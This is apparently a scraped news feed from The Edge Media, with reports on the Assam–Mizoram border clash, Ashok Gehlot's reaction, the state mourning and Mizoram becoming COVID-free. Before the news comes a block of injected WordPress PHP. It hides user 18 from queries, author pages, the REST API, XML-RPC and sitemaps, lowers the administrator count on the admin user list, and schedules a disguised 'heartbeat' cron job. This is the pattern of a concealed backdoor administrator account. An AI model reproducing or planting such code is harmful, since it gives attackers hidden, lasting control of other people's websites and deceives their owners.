add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Tension between Assam and Mizoram is a matter of grave concern : Ashok Gehlot appeared first on The Edge Media.
]]>“The tension between Assam and Mizoram is a matter of grave concern. For the first time in the history of the country, a state has issued a travel advisory to its residents not to travel to another state,” Mr Gehlot tweeted.
He said the registration of FIR against Assam Chief Minister Himanta Biswa Sarma and senior officials of the state government by Mizoram Police and heavy deployment of security forces at the border areas of the two states raises many serious questions.
Mr Gehlot said the BJP-led NDA government should take the people of the country into confidence on why such a situation has suddenly arisen days after Union Home Minister Amit Shah visited the region and chaired a meeting with the chief ministers of the eight northeastern states.
The chief minister said the central government should find a solution soon with the cooperation of all political parties, NGOs.
The post Tension between Assam and Mizoram is a matter of grave concern : Ashok Gehlot appeared first on The Edge Media.
]]>The post Assam declares 3-day state mourning to condole death of 5 cops, 1 civilian in border clash with Mizoram appeared first on The Edge Media.
]]>During this period, the national flag will fly at half-mast and there will be no public entertainment, the order issued by the General Administration Department said.
At least six persons were killed and 60 others, including an SP, injured in a bloody clash along the Assam-Mizoram border on Monday.
Union Home Minister Amit Shah has spoken to the chief ministers of Assam and Mizoram, Himanta Biswa Sarma and Zoramthanga respectively, and urged them to ensure peace along the disputed border and find an amicable settlement.
Sarma paid floral tributes to the five slain policemen at Silchar on Tuesday.
The post Assam declares 3-day state mourning to condole death of 5 cops, 1 civilian in border clash with Mizoram appeared first on The Edge Media.
]]>The post Reports of Firing at Assam Mizoram Border ; Chief Minister’s Twitter Fight. appeared first on The Edge Media.
]]>The police forces from both states have returned from the disputed site.
The Chief Minister of both states clashed on Twitter, and tagged Union Home Minister Amit Shah in their posts.
The post Reports of Firing at Assam Mizoram Border ; Chief Minister’s Twitter Fight. appeared first on The Edge Media.
]]>The post Mizoram 5th NE state to become COVID free after Manipur, Sikkim, Nagaland, and Arunachal Pradesh, appeared first on The Edge Media.
]]>The pastor, who is in his early 50s and working under the Baptist Church of Mizoram, returned to the state from Amsterdam on March 16. He was pursuing higher study in theology in the Netherlands capital. He tested positive for novel coronavirus on March 24 and was admitted at ZMC along with his wife and two children. The pastor’s wife and children were discharged from the medical college on March 28 after they tested negative for COVID-19.
The state health minister thanked doctors, nurses and staffs of ZMC for successfully treating the patient. He said Union health minister Harsh Vardhan has congratulated Mizoram for becoming free of COVID-19. The Union heath minister has also congratulated the state for the 10 point drop in infant mortality rate, Lalthangliana said.
According to officials of the health department, following his discharge from the hospital, the pastor has been advised to be in home quarantine for 14 days and then undergo medical check-up again. The patient was accorded a warm welcome by the people of his locality in Aizawl as he was discharged from the medical college. — PTI
The post Mizoram 5th NE state to become COVID free after Manipur, Sikkim, Nagaland, and Arunachal Pradesh, appeared first on The Edge Media.
]]>